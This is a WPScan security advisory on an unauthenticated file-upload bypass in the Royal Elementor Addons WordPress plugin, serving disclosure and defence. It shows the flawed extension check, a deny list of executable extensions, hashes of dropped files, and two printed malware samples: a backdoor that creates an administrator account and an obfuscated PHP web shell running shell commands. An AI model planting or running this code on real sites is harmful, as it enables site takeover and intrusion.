Unauthenticated File Upload Vulnerability Addressed in Royal Elementor Addons and Templates 1.3.79

During an investigation of a series of website being actively compromised we noticed the constant presence of the Royal Elementor Addons and Templates plugin installed. And all sites had at least one malicious file dropped into the /wpr‑addons/forms/ directory.

As we reviewed the plugin it was found that the upload ajax action wasn’t properly validating the uploaded file’s extensions, allowing bad actors to bypass the check and drop malicious files to the /wpr‑addons/forms/ directory.

Upon identifying the vulnerability, we promptly alerted the plugin development team, who released version 1.3.79 to fix the issue. It is crucial for administrators to ensure their WordPress installations are fully updated to safeguard against this vulnerability.

UPDATE – In the course of the plugin update, an unpatched version of the plugin was released with an incorrect version number. The version number released was 1.4.78 and this version is vulnerable. Furthermore, since the patched version is 1.3.79, any site with version 1.4.78 installed will not automatically update to the patched version. Instead, the plugin should be removed, and reinstalled from scratch in order to get the patched version.

The Vulnerability

Unauthenticated Arbitrary File Upload

The plugin allows users to upload files and relied on a simple extension validation to make sure only allowed file types were uploaded.

private function file_validity( $file ) {
        // File type validation
        if ( empty( $_POST['allowed_file_types'] ) ) {
            $allowed_file_types = 'jpg,jpeg,png,gif,pdf,doc,docx,ppt,pptx,odt,avi,ogg,m4a,mov,mp3,mp4,mpg,wav,wmv,txt';
        } else {
            $allowed_file_types = $_POST['allowed_file_types'];
        }

        $f_extension = pathinfo( $file['name'], PATHINFO_EXTENSION );
        $allowed_file_types = explode( ',', $allowed_file_types );
        $allowed_file_types = array_map( 'trim', $allowed_file_types );
        $allowed_file_types = array_map( 'strtolower', $allowed_file_types );

        $f_extension = strtolower( $f_extension );

        return ( in_array( $f_extension, $allowed_file_types ) && !in_array( $f_extension, $this->get_exclusion_list() ) );
    }

private function get_exclusion_list() {
        static $exclusionlist = false;
        if ( ! $exclusionlist ) {
            $exclusionlist = [
                'php',
                'php3',
                'php4',
                'php5',
                'php6',
                'phps',
                'php7',
                'phtml',
                'shtml',
                'pht',
                'swf',
                'html',
                'asp',
                'aspx',
                'cmd',
                'csh',
                'bat',
                'htm',
                'hta',
                'jar',
                'exe',
                'com',
                'js',
                'lnk',
                'htaccess',
                'htpasswd',
                'phtml',
                'ps1',
                'ps2',
                'py',
                'rb',
                'tmp',
                'cgi',
                'svg',
            ];
        }

Although somewhat effective, the function allowed unauthenticated users to manipulate the list of allowed extensions, and it was called before an important manipulation of the filename:

$filename = wp_unique_filename($upload_path, $file['name']);

Upon investigation we found that wp_unique_filename WordPress function performs file name and extensions sanitization and, when combined with the file_validity function would enable bad actors to manipulate the input and bypass the checks.

Exploitation

This vulnerability is being exploited in‑the‑wild and the main Indicator‑of‑Compromise is the presence of PHP files inside /wpr‑addons/forms/ directory.

Dropped files may vary but so far we found the following file hashes being dropped:

File Hash (SHA-1)Occurrences
20cdc2106ccda6f555c6e6a5b3e500e5516
b2bee44cb332cda93ccb98ff30aeb22f134
3329941816e61f1e297ffcc769a8816386
a82d39daa52ea01f17b1ae8bd23ccb6b52
6dd792961a393a293337af69d247165933
6dd2d48404a766ae76465d05e8ffc21a23
6b7ad345faa9315672d378559052a65a15
414e2da0af038efb797c0f49f7de259d11
62a8359b1bdb095ea621ee62d8fc6a4a10
a2baf686cc7fd97abf306ce934a593479

It was also found that after a successful attack, bad actors will upload a malicious file that will try to create an WordPress admin user called wordpress_administrator:

if (($_SERVER['REQUEST_METHOD'] == "POST") && (isset($_POST["CREATE"]))) {
  $password = wp_generate_password();
  $userData = array(
      'user_pass'     => "wordpress_administrator",
      'user_login'    => "wordpress_administrator",
      'user_nicename' => "wordpress_administrator",
      'user_email'    => "wordpress_administrator",
      'display_name'  => "wordpress_administrator",
      'role'          => 'administrator'
  );
  $user_id = wp_insert_user($userData);
  // Make the user a super admin.
  grant_super_admin( $user_id );
};

Another malware is commonly uploaded, meaning that it may be related to the same exploit‑kit being used in the wild:

<?php
 goto IRGg0; IRGg0: ?>
<style>body{background-color:#000;color:#fff}</style><form action=""enctype="multipart/form-data"id="uploader"method="post"name="uploader"><input name="file"type="file"size="50"><input name="_upl"id="_upl"type="submit"value="Upload"><br><br><label for="">PHP command</label><input name="phpcmd"id=""><input name="_upl"id="_upl"type="submit"value="run php command"><br><br><label for="">Shell command</label><input name="shellcmd"id=""><input name="_upl"id="_upl"type="submit"value="run shell command"></form>
<?php  goto HCwez; z4H36: if ($_POST["137x75160154"] == "162x75x6ex20x73x68x6515415440143x6fx6d155x61156144") { $tmpFile = tempnam(sys_get_temp_dir(), "x64171156141x6dx69143"); $fileHandle = fopen($tmpFile, "167"); $tmp = $_POST["x73150145154154143155144"]; $vari = "7477x70150160x20145x63150x6f50100163x68145154x6c137145x78145x6350x22" . $tmp . "x22x29x2973x3f76"; fwrite($fileHandle, $vari); fclose($fileHandle); ob_start(); 
include $tmpFile; $output = ob_get_clean(); unlink($tmpFile); echo $output; } goto eUXJ_; HCwez: if ($_POST["x5f165x70x6c"] == "x55x70154157x61144") { if (@copy($_FILES["146x69154x65"]["164x6dx70137x6ex61x6d145"], $_FILES["146151x6c145"]["x6e141x6d145"])) { } } goto el5O1; el5O1: if ($_POST["137x75160154"] == "16216515640x70x68x70x20143x6fx6dx6dx61x6ex64") { $tmpFile = tempnam(sys_get_temp_dir(), "x64x79156x61155x69x63"); 
$fileHandle = fopen($tmpFile, "167"); $tmp = base64_decode($_POST["160150x70x63x6dx64"]); $vari = "74x3fx70x68x7040x65143150157x28" . $tmp . "517377x3e"; fwrite($fileHandle, $vari); fclose($fileHandle); ob_start(); include $tmpFile; $output = ob_get_clean(); unlink($tmpFile); echo $output; } goto z4H36; eUXJ_: ?>

A proof of concept will be made available on the WPScan entry for this issue on 2023‑11‑17.

Timeline

  • 2023‑10‑03 – Details of the vulnerability sent to the vendor
  • 2023‑10‑05 – Vendor answered requesting a review on their fix.
  • 2023‑10‑06 – Vendor released the new version with the fix.

Conclusion

We encourage you to check the version of the Royal Elementor Addons and Templates plugin in use on your site, and if it is within the affected range, perform an update as soon as possible.

At Jetpack, we work hard to make sure your websites are protected from these types of vulnerabilities. We recommend that you have a security plan for your site that includes malicious file scanning and backups. Jetpack Security is one great WordPress security option to ensure your site and visitors are safe.

Credits

Original research: Fioravante Souza & Marc Montpas

Thanks to the rest of the WPScan team for feedback, help, and corrections. And hat tip for Brandon Steed for bringing the issue to our attention.

Posted by

Leave a comment

Get News and Tips From WPScan

Blog at WordPress.com.